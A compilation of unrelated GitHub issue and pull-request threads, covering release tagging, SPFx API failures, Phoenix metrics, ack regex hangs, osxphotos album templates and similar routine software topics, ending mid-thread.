In your case, I understand why it's cumbersome; an automated process which relies on the correct things happening falls completely apart when someone does an incorrect thing, and it's especially frustrating when they knew that incorrect thing was going to happen. I hope this hasn't caused you too many issues with this most recent release, but it seems critical to your workflow and I wonder how many other users are having similar issues but not mentioning it. I'll raise the priority of this fix in my task queue and see if I can get it implemented to avoid breaking your testing pipeline.
In the meantime:

Any suggestions from your end

I wouldn't normally suggest fixing your process to work around our issues, since that can come off as quite arrogant, but theoretically you could fetch the latest list of releases and sort them by semver (all of our releases are named after tags, and, if you remove the v at the start, are semver-compliant). That will give you the most recent release, no matter what happens. It's not beautiful, but it would work.
I've manually marked v3.28.1 as the 'latest release' in Github so your automation can do the right thing for now, and hopefully we can resolve this issue for you soon.

Hi @danudey Thanks a lot for understanding the situation in our environment and we hope this gets fixed soon.
I had come across many people in other projects as well reported to me regarding this release pattern of few software releases.
Even there are some debates goes on fetching latest SemVer detail of a package release from github projects.
https://docs.github.com/en/rest/releases/releases
Please check the latest release section https://docs.github.com/en/rest/releases/releases/#get-the-latest-release and see how efficient this is for us.
We understand that there are workarounds by sorting out SemVer but we have to put regex overhead to sort out pre-releases and need additional tool or code for grabbing right pattern.
It seems a bit overkill for fetching latest release information of calico alone when other vendors work fine with simple curl with github API.
In a ever changing environment, workarounds are not a good idea and also it makes good things like github API useless in these cases.
Many people come across theses issues actually, they talk about it for few days and goes for the workaround.
https://gist.github.com/rponte/fdc0724dd984088606b0
Thanks again for looking into this.


Regarding the "cross-encoder ranker" mentioned in the paper

In the paper, a "cross-encoder ranker" is used to rank the queries. Could you point me to the code of the ranking in this repo? Thanks!

Hi @yubad2000 thanks for asking this
I have just created CE folder which contains the code we used in our paper to train and rank generated queries.
However, this code is old version which may not be directly runnable (mainly due to different data formats). I am a bit busy recently so cannot test and fix it very soon, but I just upload it for your information.


AadHttpClient/MSGraphClient not working on Android Teams app

Target SharePoint environment
SharePoint Online
What SharePoint development model, framework, SDK or API is this about?
💥 SharePoint Framework
Developer environment
No response
What browser(s) / client(s) have you tested

[ ] 💥 Internet Explorer
[ ] 💥 Microsoft Edge
[ ] 💥 Google Chrome
[ ] 💥 FireFox
[ ] 💥 Safari
[ ] mobile (iOS/iPadOS)
[ ] mobile (Android)
[ ] not applicable
[ ] other (enter in the "Additional environment details" area below)

Additional environment details

SPFx version 1.12.1

Describe the bug / error
We have multiple Teams apps developed that use AadHttpClient and/or MSGraphClient for API calls. The apps work on all clients (Windows, iOS, Android). But there are some Android devices where the API calls fail (for all apps), unfortunately no error is returned. A clean reinstall on the device was already done (Clear cache, uninstall Teams app, Restart device, Reinstall app). For the affected users the apps are working on Desktop Teams client and also in the browser.
Steps to reproduce
Here is an example with an MS Graph call. As you can see in the comment, both error and response are empty on affected Android devices.
this.props.msGraphClient
    .api('me?$select=displayName,employeeId')
    .version('v1.0')
    .get((err, res) => {
        if (err) {
            this.setState({
                errorMessage: `${JSON.stringify(err)},${JSON.stringify(res)}` //result on affected Android devices: "{},null"
            });

            return;
        }

        this.setState({
            displayName: res.displayName,
            employeeId: res.employeeId
        });
    });

Expected behavior
AadHttpClient and MSGraphClient should work on affected Android devices. Also the error that's returned shouldn't be an empty object but contain error details.

@patmill The issue exists in both Teams and SharePoint mobile app, but not if the user visits Teams in browser (on his smartphone, with Desktop mode enabled) or in the Desktop Teams App.
I was able to reproduce the issue after changing the password, on both Android and iOS devices. After the password change I also tried clearing cache and reinstalling the Teams app but SPFx apps still don't work (the API calls specifically).


Add support for url scope type

eg
https://code.visualstudio.com/api/extension-guides/notebook

I'm pretty sure I know what you mean but a quick example would be nice

Is it cool if I take this one guys?

go ahead

Fixed by #529


Add generated changelog

Taking a stab at #299.
Generated a changelog with github-changelog-generator.
Included the gem in case you guys wanted to make it part of your deploy process. But I can remove it if you'd prefer to not include it.
cc: @kidbrax @kornypoet

@mikechau, nice!
Do you mind bumping the version of ruby to 2.3.3 and check that all the tests pass in travis?
Cheers

This would be awesome!

Hi @gergnz, looks likes all good!

@mikechau I've added a rake task PR against your branch, if you are happy with that, merge it, and I'll merge this. Nice work.

@gergnz Looks good, the only change I made was I moved the changelog task inside the bump task, so we can set the future_release option to the new version. This way the change log is generated when you bump the version.


Create Posts “in-due-course”

Automatically generated by Netlify CMS

👷 Deploy Preview for monetaboot processing.
🔨 Explore the source changes: 77155cd816c16cbaca66150ae317c8a2e1160799
🔍 Inspect the deploy log: https://app.netlify.com/sites/monetaboot/deploys/6239b4e50afabb00082079e4


Add documentation about BPM calibration

The PR adds some physics, explanations and usage to the BPM calibration script.

I have done some refactoring.
@Mael-Le-Garrec can you provide the BibTex for your \cite{rama} so I include it in the pages?


vector: build on darwin

Description of changes
Support building on darwin
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[x] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

aarch64-darwin support has landed in #193387. Please rebase.

Result of nixpkgs-review pr 194653 run on x86_64-darwin 1

1 package built:

vector

Result of nixpkgs-review pr 194653 run on x86_64-linux 1

Thank you !


PHOENIX-7038 : Implement Phoenix Connection Profile Metrics

This PR will add Connection Profile Level Metrics. It will be helpful when single JVM will create multiple Connections with variations in configuration of the connection. This can help in identifying, debug and monitor individual client behaviour.

I am in general very wary of overriding HBase properties from a Phoenix application, as this can very easily lead to failures for properties that must be in sync across the cluster for HBase to work.
In my ideal world we'd have some kind of whitelist for properties that are known to be safe to override (or an inverse blacklist)
(Of course users could still wreak havoc by modifying the hbase-site.xml used by the client)
I would tie the id propagation part to https://issues.apache.org/jira/browse/PHOENIX-5974.
We could either correlate that single ID with the ConnectionInfo/profile (though it requires extra bookeepeing), or just add it alongside the query id.

Just opened a related [DISCUSS] thread on dev, @dbwong .

Thanks for the reviews and comments @stoty @ranganathg @dbwong @jpisaac
I will go through comments and DISCUSS Thread today.

My main concern is this is too sfdc focused. A conection profile doesn't exist within the concept space of phoenix. I'd rebrand this as ConnectionInfo metrics.

That's right. I have changed it to ConnecitonQueryService Metrics since this metrics are calculated at CQS Level.

 I opened a Jira for a better overall metrics infrastrucutre and while that is out of scope is it possiblegenericfy some of this.

That's right there are multiple class/code blocks which are copy pasted. I will add notes of these PHOENIX-6174 to simplify in future.
@dbwong

I am in general very wary of overriding HBase properties from a Phoenix application, as this can very easily lead to failures for properties that must be in sync across the cluster for HBase to work.
In my ideal world we'd have some kind of whitelist for properties that are known to be safe to override (or an inverse blacklist)
(Of course users could still wreak havoc by modifying the hbase-site.xml used by the client)
I would tie the id propagation part to https://issues.apache.org/jira/browse/PHOENIX-5974.
We could either correlate that single ID with the ConnectionInfo/profile (though it requires extra bookeepeing), or just add it alongside the query id.

QUERY_SERVICE_NAME config property is only for Phoenix Connection and for metrics related to CSQI. It won't be used anywhere in HBase layer. As far as I understand, PHOENIX-5974 is different from this JIRA and having a default name for CQSI Object.
@stoty

Test failures are not related.

In my ideal world we'd have some kind of whitelist for properties that are known to be safe to override (or an inverse blacklist)
(Of course users could still wreak havoc by modifying the hbase-site.xml used by the client)

@stoty You are right, in the SFDC world, we do have such a whitelist in the app. Something we can think of bringing down into the Phoenix layer.

Test failure is not related.


Invalid inventoryfile structure can cause hard to debug error

Describe the Bug
With an inventory like:
groups:
  name: ssh
  targets:
    - name: nix_target
      uri: example.com
  config:
    transport: ssh
    ssh:
      user: root
      password: password

This was hard to diagnose:
NoMethodError: undefined method `key?' for ["name", "ssh"]:Array
  /home/cas/working_dir/bolt/lib/bolt/inventory/group.rb:27:in `initialize'
  /home/cas/working_dir/bolt/lib/bolt/inventory/group.rb:72:in `new'
  /home/cas/working_dir/bolt/lib/bolt/inventory/group.rb:72:in `block in initialize'
  /home/cas/working_dir/bolt/lib/bolt/inventory/group.rb:72:in `map'
  /home/cas/working_dir/bolt/lib/bolt/inventory/group.rb:72:in `initialize'
  /home/cas/working_dir/bolt/lib/bolt/inventory/inventory.rb:25:in `new'
  /home/cas/working_dir/bolt/lib/bolt/inventory/inventory.rb:25:in `initialize'
  /home/cas/working_dir/bolt/lib/bolt/inventory.rb:87:in `new'
  /home/cas/working_dir/bolt/lib/bolt/inventory.rb:87:in `create_version'
  /home/cas/working_dir/bolt/lib/bolt/inventory.rb:77:in `from_config'
  /home/cas/working_dir/bolt/lib/bolt/cli.rb:62:in `inventory'
  /home/cas/working_dir/bolt/lib/bolt/cli.rb:410:in `execute'
  /home/cas/working_dir/bolt/exe/bolt:11:in `<top (required)>'
  /home/cas/working_dir/bolt/vendor/bundle/ruby/2.5.0/bin/bolt:23:in `load'
  /home/cas/working_dir/bolt/vendor/bundle/ruby/2.5.0/bin/bolt:23:in `<top (required)>'

Expected Behavior
Error message with helpful message instead of stack trace.
Additional Context
Bandaid incomplete solution: https://github.com/puppetlabs/bolt/pull/2416

We actually have a ticket on the board that will address this! :) https://github.com/puppetlabs/bolt/issues/2413

Closed by #2440

Closed by #2440


fix(diagnostics): always provide min/max

Fixes #854
The regression was caused by this change in the diagnostics API. The changes from this PR should still with versions prior to that change though.

Tysm @MariaSolOs for the contribution, this does look like the issue, I’ll do some testing with older versions when I get to my computer and merge.

Merged, ty @MariaSolOs!

Thanks to you @ibhagwan for the amazing extension and quick responses <3


Big announcement!

Two parts:

[x] Check out the tool! Here's what it does!
[x] X drive goes away on X date

This is done, right?


feat: add failsafe for missing bigquery connection

In case a Bigquery connection is not configured or the user wants to include their primer examples to the bundle we can add a failsafe on useBigQueryExamples.ts to check for a connection variable in the environment and decide whether fetching the examples or using the ones in the 2nd-level folder explore-assistant-examples.
This works because .env is being loaded already by Webpack and we can do conditional compilation since the environment variables are available at build time.
I had to comment out the .env_example file as a tradeof but this ensures examples are only included in the bundle if a BigQuery connection is not set. Plus this is probably the least intrusive solution.

@waziers Let me know if this is ok or needs further improvements


.Net: Review updated docs on Semantic Kernel for .NET

The following files need review:

[x]  Quick start guide

[x]  Supported languages

[x]  Overview of kernel

[x]  Understanding plugins

[x]  Creating semantic functions

[x]  Creating native functions

[x]  Chaining functions

[x]  Planner

Closing since the docs have been reviewed and updated where there were breaking changes.


WIP feature: Anoma tests

Blocked by:
https://github.com/anoma/juvix/issues/3022
https://github.com/anoma/anoma/issues/863
https://github.com/anoma/anoma/pull/861

Outdated


Support flow types?

Hi,
I'm currently your plugin to support JavaScript syntax and it's all great. But I've been thinking about using flow when writing my JS code. Understandably, this makes the syntax highlighting go nuts. ;(
It would be nice to have that support. Do you have plans on adding this sometime in the near future?

This belongs to https://github.com/othree/es.next.syntax.vim/issues/6


Typos in docs

new Size(12, 5) instead of Size(12)
viewKonfetti.getWidth() instead of viewKonfetti.width
Add dependency implementation 'org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.2.41'

The example is written for Kotlin, I'll make that more clear in the documentation and/or add a Java example. I'll also add the latter to the readme.


"Could not transfer DATA to device" on calling HIDReadReport

I'm trying to get a report from a keyboard device using this call:
HIDReadReport(keyboardDevNum,
                      0,
                      (uint16_t) USB_HID_REPORT_TYPE_INPUT << 8 | 0,
                      keybReport,
                      8);

where keyboardDevNum is the device number of the keyboard, and keybReport is defined as uint8_t keybReport[8] __attribute__((aligned(4))).
I figured out that the cause of it is that HCDCheckErrorAndAction is returning transmission and stall errors when called near the end of HCDChannelTransfer. Here's what it looks like (results ending in ..6 are ErrorTransmission, and the two at the bottom ending in ..0 are ErrorStall):

It will consistently fail when calling HIDReadReport with various numbers in place of hidIndex and the report index of reportValue, yet it's successfully reading the device's product and manufacturer strings when initializing. Is HCDCheckErrorAndAction just falsely returning errors? I saw in issue #1 that you could read a report from the mouse. Would you mind sharing the code to do that successfully?

if ((firstMouse != 0) && (HIDReadReport(firstMouse, 0, (uint16_t)USB_HID_REPORT_TYPE_INPUT << 8 | 0, &buf[0], 4) == OK)) {
      // process the 4 byte report
}

It will be the same for keyboard just the keyboard ID

Thank you, that worked for me. I had been testing with 2 keyboards. One of them was USB 1.1, and that's the one it wasn't able to read. It worked with a USB 2.0 keyboard though. Here's the code I used:
void getKeyboardReport()
{
    uint8_t buf[8] = {0};
    uint8_t firstkbd = 0;

    for(int i = 1; i < MaximumDevices; i++)
    {
        if(IsKeyboard(i))
        {
            firstkbd = i;
            break;
        }
    }

    if(!firstkbd)
    {
        printf("Could not find keyboard\n");
        return;
    }

    printf("Keyboard found: Device #%d\n", firstkbd);

    RESULT status = HIDReadReport(firstkbd, 0, (uint16_t) USB_HID_REPORT_TYPE_INPUT << 8 | 0, &buf[0], 4);
    if(status == OK)
    {
        printf("Keyboard report: 0x%x\t0x%x\t0x%x\t0x%x\n", buf[0], buf[1], buf[2], buf[3]);
    }
    else
    {
        printf("HID report error: 0x%x\n", status);
    }
}

Note: The keyboard report is actually 8 bytes (source).
And here's the output:

I added the code to demo code and as resolved closing the issue


App: Invite users to upgrade Gatling version

Some users tend to not upgrade their Gatling version, possibly because they're not aware of the latest release and the new features and bug fixes.
Let's advertise the new releases in the console and add a deprecation warning in the HTML reports when the version is more than 1 year old.

any options to turn this feature off ?
no one ever wanna a new version to replace working ones.

@slandelle I'm thinking about raising a PR to disable this feature with a Java Opt (-D) - would you mind letting me know if this has already been discussed or you have any reason to think that the PR wouldn't be accepted?
Background: I have automatic dependency management and an allow-listed outbound environment and don't want to allow the communication required to check the release on every startup, or go through the seconds of wait time while it times out.

Sorry but this has already been discussed and we wouldn't accept this PR. We do want users to upgrade.

go through the seconds of wait time while it times out.

The connect timeout and the read timeout are both 1s, so I expect the request to last at most 2s.

@slandelle Darn sorry to hear that. It's a simple change with a default behaviour of On so it seems especially stern. It's hard to believe there are people out there without automatic dependency management taking care of this for them.

On the topic of timeouts I should add that it failing due to timeouts on my local machine (UK based, 1Gbit up+down, generally low latency for a residential line) was what drew my eye to it in the first place.

It's hard to believe (but I'm sure very real) that there are people out there without automatic dependency management taking care of this for them.

That's the vast majority.

On the topic of timeouts I should add that it failing due to timeouts on my local machine

Weird. Do you have direct connection to the internet?

I do indeed! Maybe it was a Maven burp as it's not deterministic and seems to mostly be working now 🤷🏻


Cannot install 0.3.2

[x ] I am on the latest Cerebro.app version

[x ] I have searched the issues of this repo and believe that this is not a duplicate

OS version and name: <!Win 10 Creators Edition>

Cerebro.app version: <0.3.2>

Relevant information from devtools (See above how to open it):  N/A

Issue
Three error windows on install of 0.3.2
New to this.
I do have yarn installed
Error messages attached as images

My bad for anyone else new to this you need to go to a git bash prompt and type npm install --global webpack


Emulator doesn't seem to load external webpages

A note: This does seem to work on physical devices. This used to work on emulators, I'm fairly certain. I tried running a bisect on previous commits but ran into various android studio / gradle compatibility issues. Before I dig too much deeper, I'm curious if others see this behavior.
Problem: When opening external links in chrome, the web page doesn't render properly. I can see the title render, but the page remains white. See the video below.
Expected: The web page should load successfully.
Method: Start the demo app (HEAD of main) inside of Android Studio and click on "Follow an external link".
https://github.com/hotwired/turbo-android/assets/547981/5c0c022e-9346-45c8-9aa4-0ab0387ead01

What version of Chrome is installed on the emulator? My guess is it's an old version installed by default that doesn't support newer javascript APIs. I'd make sure you're using a Play Store emulator variant and you should be able to update Chrome if it's outdated.

Okay, got it working after using a Pixel 8 play store variant instead of a Pixel 3a. Thanks for the advice @jayohms !


Remove the option to log exceptions straight to the error reporting API.

The error reporting API has not gone GA yet so these libraries cannot GA with this option.
We do this by making the method to create an event target to report events to the stackdriver error reporting API internal.

Well we still have the event targets just only for logging.  I'm happy to just rip out the ability to create an event target for error reporting and leave everything.
I still use the error reporting API here to format the messages as it was easier then formatting it manually.
If you are okay with it I'll revert most of this and just remove the error reporting option?

Will have a look in the morning, but I'm concerned if we're not removing the dependency - basically I don't want to go GA with an API that's V1Beta1, and I don't want a GA library to depend on a non-GA library. We may need to be creative with this...

I think with this

@jskeet friendly ping!

I'm confused as to what the plan is, to be honest. We can't plan to GA with a beta dependency. What exactly is the formatting here? Can we replace that code instead?

I think I misunderstood your initial comment.  The initial commit ripped out all of the logic to send a event to the error reporting API.  The only reason we kept the dependency on the nuget package was to format the message to send to the logging API.  So not calling the API just using a data structure.  My thought was if it got deprecated we could just manually format the message?
In the second iteration I just removed the option to use the error reporting option but left all of the code if we ever want to turn it on. (this is the part I misunderstood).

I'd suggest:

Ripping all code and the dependency out, formatting the message manually
Leaving enough options so that if we want to add in the GA API later, we can do so in a non-breaking way.

Closing this in favor of a new PR for simplicity,


Document Wundgergraph and Prisma Data Proxy

Could you document how to run wundergraph in cloudflare workers using prisma data proxy?
Run wundergraph on the edge using prisma data proxy https://www.prisma.io/docs/guides/deployment/deployment-guides/deploying-to-cloudflare-workers

Hi @jozef-slezak. It's not possible to run WunderGraph inside a Cloudflare worker for the moment because part of our runtime uses Go.


no possibility to provide dockercfg

How can I configure the multi-node aws kube-aws setup to use my private aws registry?
It seems the .dockercfg needs to be provided with cloud-config, but I have a hard time finding out how to do this after the nodes have been brought up. I believe it should be done during init, no? If so, then where do I inject this?

What are you using this dockercfg to pull? Kubernetes components that you're hosting yourself, or containers in pods after the cluster is already running?

Ok, I found that kube seems to support aws ecr natively now, so I figured the following:

because my stack is in eu-west-1
and the registry in us-east-1 (as its the only one they have now)
and the assumption that it's not possible to docker pull cross-region (but that would be silly, no?)
-> it follows that I run into the security restrictions for going out of their region's network.

I would like to know for a fact that it's impossible to docker pull cross-region. Any links?

So I don't need to fiddle with dockercfg, unless my assumption holds. Then I would have to bootstrap my nodes with creds, but they only last 12 hours. Pfffff...

@Morriz I'm going to close this for now, as it seems this is more an issue with the aws registry. Feel free to reopen if that is not the case.

I have to reopen this, as I don't see a solution from your side to provide a dockercfg, which is needed to provide creds.

Nevermind, I found the docs on how to encode the dockercfg as a kubernetes secret....maybe handy to link to that as well

Setting the dockercfg in the user-data solves your problem?
https://coreos.com/os/docs/latest/registry-authentication.html


License

This is very useful.
Please could you add a license to this repository?

Added a Licence. Feel free to use as needed. Also, do let me know if you run into any issues


Dump buffers

Buffer dump option added for both Snort and Suricata engines.

Pushed a change by Adam that replaced non-printable characters with '.' in the HexDump functions.  Output looks good for that PCAP.

Instead of maintaining a bunch of custom yaml files (I see you updated a number of them in this PR), the recommended strategy is to dynamically update the config file, based on the job settings, when the job is created.  See how it is done here -- https://github.com/secureworks/dalton/blob/bc0541e06bbbe5a11fb4ad581516ec77c0d0fab4/app/dalton.py#L1693-L1712.  You can add code just after that block, before the file gets written out.

Can you update the README explaining what this option does?

Does this work on older versions of Suricata? If not, you'll want to account for that as necessary, especially in the UI where the "Dump buffers (alerts only) " option would not be shown for unsupported versions.   (As an example, see how the "Use Suricata Socket Control Pcap Processing Mode" Suricata option doesn't show up when unsupported versions are selected.)

Everything looks good except now the Suricata confg files (yaml) have had lines removed. Can those be left alone?

Everything looks good except now the Suricata confg files (yaml) have had lines removed. Can those be left alone?

Restored original commented and disabled lua config in yaml files, verified the dynamic config update function works correctly and the existing/new Lua config is correctly merged.


disable sonarqube till server is back online

Disable till sonarqube server is up. Requires alex, and alex with energy together with alex with time.


Reuse iframes when running report clients

The legacy SeaSketch application loads report clients in iframes and discards them once the report window is closed. This prevents caching of some assets and results, increasing latency. If possible iframes should be hidden and reused.

This seems like a ticket that should be in SeaSketch next as the manager of the iframe.  Thoughts @underbluewaters?

That's right. I'm going to close this ticket since I don't think it's worth trying to optimize legacy SeaSketch further.


Cookie set without the 'SameSite' and 'Secure' on Chrome.

Warning from Chrome about cookie parameters. Can you fix the way your script is setting the cookie? SameSite and Secure parameters are missing and chrome will soon stop delivering your script.

Thanks. I will look into this.
On Okt. 22 2019, at 11:28 am, Marcin<EMAIL_ADDRESS>wrote:

Warning from Chrome about cookie parameters. Can you fix the way your script is setting the cookie? SameSite and Secure parameters are missing and chrome will soon stop delivering your script.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub (https://github.com/browser-update/browser-update/issues/455?email_source=notifications&email_token=ACASWKWSYP4IMNZBATSFQILQP3BT5A5CNFSM4JDM7HO2YY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4HTOEJXA), or unsubscribe (https://github.com/notifications/unsubscribe-auth/ACASWKWP7BLXUOVEUJNPVULQP3BT5ANCNFSM4JDM7HOQ).

This is not a problem with a browser-update.org cookie but from our provider, cloudflare.
They are working on it:
https://community.cloudflare.com/t/google-chrome-warning-about-cloudflare-cookie/123192
Apart from the warning, this does not pose a problem.

This cookie will be gone starting form May 10.
See:
https://blog.cloudflare.com/deprecating-cfduid-cookie/


Avoid processing of subrequests initiated by the error_page

Closes #164, SpiderLabs/ModSecurity#2143.
Needs more investigation about possible effect on https://github.com/SpiderLabs/ModSecurity-nginx/issues/76 as well.

@AirisX @LeeShan87 @met3or tagging you guys here as you were testing similar bits in #90 - would be nice to get your feedback on this one as well (i.e. if it does not break things introduced in #90 when we are fine I guess)

hi @defanator
I'd like to give this a shot, I suppose, I should only merge this for the time being or both #90 and this?

@lhorace correct.
In fact, I'm still thinking about proper way to handle this - perhaps disabling modsec processing for any subrequests would be an option, but there are obvious concerns about such approach.

hi @defanator

@lhorace correct.

Just to clarify, just this, alright thanks.

Merged under dev/reload.

Merged on master! thanks!


Skippable steps

I'd like to use Arcanist to rewrite an existing form that is pretty complicated right now.
I've read the 'getting started' guide on the documentation but I'm still not sure if the package fits my needs: can I use it to write multi-step forms that are also kind of "multi-route"?
To be more clear: my existing form shows/skips some steps based on the data that have been already selected. Is it possible to tell Arcanist to skip a step in a use case like this?

Hey there!
Currently, there's no way to register or skip entire steps but it's something I'm considering adding in the future. The main difficulty is that it makes the redirection handling between the different steps a lot more difficult because you now also have to consider that a step should be skipped entirely.

Steps are now omittable, meaning you can easily write logic within a step to dynamically register it, based on any of the previous step's data.


inheritance of generic methods

TypeScript Version:  3.3.3

Search Terms: inheritance inherits generic generics methods functions
Code
class A
{
    public f<T, TMember extends keyof T>(x:T, y:TMember)
    {

    }
}

class B extends A
{
    public f<T, TMember extends keyof T>(x:T, y:TMember)
    {

    }
}

Expected behavior:
Compiles fine
Actual behavior:
compilation error ts 2416
Playground Link:
Related Issues:

Duplicate of #25373?

indeed, I did not see this one


ipam/allocator_test: Test pool double-release behavior

Releasing a pool which has already been released should fail; this
change increases coverage by a fraction by exercising this path.
Signed-off-by: Euan Harris<EMAIL_ADDRESS>

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@eb6b2a5). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master    #2152   +/-   ##
=========================================
  Coverage          ?   40.48%
=========================================
  Files             ?      139
  Lines             ?    22496
  Branches          ?        0
=========================================
  Hits              ?     9108
  Misses            ?    12053
  Partials          ?     1335

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update eb6b2a5...a041931. Read the comment docs.

LGTM.


Re-enable JBPMIntegrationTest and PubSubIntegrationTest after wildfly/wildfly-url-http/issues/9 gets fixed

Fix for https://github.com/wildfly/wildfly-url-http/issues/9 must reach wildfly master. Blocks only the wildfly-13.x branch.

Out of date


Slow when regexp matches loads

You can grind ack to a halt with
% ack '.*'
Although .* is not slow for the regexp engine to match, it slows down ack a lot.  Is there something ack could do more intelligently?

Why would you want to ack for .* in the first place?

Obviously you wouldn't, but it is the simplest example that illustrates the slowdown.  I stumbled across this when I had intended to find [.][*] but accidentally typed [.]*.  I imagine that fixing the slowdown for .* would also have a beneficial effect for other regexps that are not quite as pathological, but nonetheless slow.  But if that's not likely to be the case, feel free to disregard the issue.

I'd like to find a realistic example that is worth pursuing.  I don't know why it locks up on .* but it's hard for me to get interested in it in the face of other, real bugs that are out there.
Still, let's leave this open.

Did a bit of digging; it's not just slow; it ends up in an infinite loop that consumes all memory in sight.  The problem is in print_line_with_options; the coloration logic increases the length of the string, causing the pattern to match something new all the time.

Ouch, colorizing the string changes what the regexp matches?  Maybe there is a test case for that bug all by itself without using .*.

@epa I think .* is special, because it matches both the entire line, but also the empty string.

And it's not just .*, but stuff like b* which I could easily see people doing by mistake.

Maybe the first thing ack should do is test the given regexp against the empty string, and if it matches die with an error?  That doesn't rule out fixing the underlying code in print_line_with_options of course.  But surely nobody deliberately searches for the empty string.

That seems like a good check.  If it matches the empty string, then the user has entered something incorrectly.  But what would we describe to the user in the error message?
Imagine the user is looking for something like "abc*", for whatever they think that that will do.  How do we describe the problem?

The regular expression X matches the empty string, so it cannot be used to search for text.
There's probably no message you can write which will explain the problem clearly to someone who doesn't understand regular expressions.

"Maybe the first thing ack should do is test the given regexp against the empty string"
This will fail for (?<=.).* and probably some genuinely realistic cases including zero-width assertions.
Perhaps a better solution would be to determine whether $& is zero-length (by looking at the start and end position matched via the other punctuation variables to avoid the penalty of  $&) - if it is of zero length then do not colourise.

@pdl That would be my chosen approach, and a quick test I tried got it out of the highlighting loop.  There was another one it was stuck in though; I'm going to investigate further when I have some more time.

Agreed that checking for $& being zero-length is probably a win.
I'd like to see some genuinely realistic cases with zero-width assertions before we say that "We shouldn't forbid them because they might get used."

@pdl are you saying there are regexps which do match the empty string but are nonetheless useful to search with?

Ok, the bug is fixed as of 80402b4.

Thanks for fixing this, @hoelzro.  Can you please put a comment on the check that explains why it's there?

@petdance Done!

Can we close this?

Not tested with the latest commit but for me this happened with
ack ''

I've found the same thing with ack $ file. It would look like the same bug, but I just wanted to advise you guys of more ways to trigger the bug


Avoid unnecessary copy in ndarray.astype

This would improve the performance.

This PR does not fix difficult ones like xp.random.normal(...).astype(...), which could be fixed in other ways.

Jenkins, test this please.

Jenkins CI test (for commit febca9cea90dde6610e89aeb21de6c76588471dd, target branch master) failed with status FAILURE.
(For contributors, please wait until the reviewer confirms the details of the error.)

Jenkins, test this please.

Jenkins CI test (for commit 741d2c7c847ec88db1ae13092e9b5dfa8308bd64, target branch master) succeeded!

LGTM


Allow ALBUM to be template in --add-to-album

Allow ALBUM in --add-to-album options in query and export to be a template.

And, is it possible to query photos from each YEAR and sort them into different albums named by the years in only one command? (instead of executing osxphotos query --year  --add-to-album "YEAR" multiple times - individually for each year?)

Not directly in osxphotos at the moment though if the album name were a template, then yes, you could do this. (This is a good idea and I'll open a new issue to make ALBUM a template)
You can probably do this with a shell script.  (Warning, not tested and I'm not a shell scripting expert).  Something like this, saved to a file years.sh then run via sh years.sh
for year in {1990..2022}
do
    echo Processing $year
    osxphotos query --year $year --add-to-album $year
done

Originally posted by @RhetTbull in https://github.com/RhetTbull/osxphotos/issues/782#issuecomment-1234736335

Did an initial implementation and it works but may not be worth it.  The current implementation of --add-to-album adds all photos to a single album and does some in batches to minimize calls across the AppleScript bridge. I did a test on 62 photos and it took about 12 seconds total to do the query and add the photos to an album. With the new implementation, it took  78 seconds so it really isn't going to scale well to large queries.
The issue is that with each album being a template, the template has to be rendered for every photo then photos are added 1 at a time to each album. That's a lot more AppleScript calls which really slows down the process.  It might be possible to port the album code to PhotoKit but I've had reports of PhotoKit not working on Monterey+ and without a Monterey machine to test on, I'm not ready to try that.
Putting this one on the back burner for now


Change Reset Score Button to not reset match and phase

In reference to #74.
This simply drops the 2 lines in the reset score call that also resets the match and phase to blank. In a later release we can look to introduce a reset match button that'll clear out the phase and match as well, but this is more for a quick fix and release to get it out there.

Maybe it's a good idea to eventually add a button to clear all, but this makes sense.


add mirror.gcr.io registry mirror

Reduce hitting docker hub rate limits by trying mirror.gcr.io first.

/gcbrun

@ryanaoleary can we get another /gcbrun ?

/gcbrun


Tag a release

The current release is almost four years old. Can you tag a new release?

I tagged v0.2.0.


Fix undeterministic hash key due to pointer address in anonymous context name

CodingKeys is automatically derived and defined as private, and types defined as private have anonymous context in its mangled name. Then String(reflecting:) returns the qualified name of the type including the anonymous context name, which contains the pointer address like Item.(unknown context at $55eab1620198).CodingKeys and the address can be different across runs due to ASLR.
So we need to stop encoding CodingKeys to reduce the possibility of undeterministic hash key. Our hashing strategy can be still underteministic if the cache key itself is declared as private, but we can't avoid it while keeping the cache key nominal type sensitive (not structurally sensitive).

@swift-ci test

@swift-ci test


Feature Requests: (i) Middle of string add quotes and (ii) Cell Label for Hide/Show

Feature 1:
In Jupyter there is a feature where one can have text written out (single word) where you can click in the middle and press [SHIFT]-['] (i.e. ") and it adds quotations around the entire word
#Step 1
var = tobestring
#Step 2
var = tobest | ring (| indicates where cursor is)
#Step 3
#Press "
var = "tobestring"
A really small feature but it would be pretty useful!
Feature 2:
The Hide/Show Cell is AMAZING.  It really helps unclutter my notebooks but sometimes I'm not exactly sure what's in the collapsed cell.  It would be awesome if I could have a label for the Hidden Cell so I could know which one to open.

Feature 1 We have sublime edit mode but it doesn't implement this feature.  Seems like it should though:
' with a selection: surround selection with apostrophe
" with a selection: surround selection with quote
[ with a selection: surround with square brackets
{ with a selection: surround selection with curly brace
( with a selection: surround selection with brackets
from https://gist.github.com/bdargan/2705812
Feature 2 thank you, I agree and I was thinking we should just show the 1st line which could be a comment.


2.3.x breaks default implementation?

Hi!
Sry if the title might be confusing, but so is the issue I experience.
I have reduced my button code to the core to be able to reproduce it.
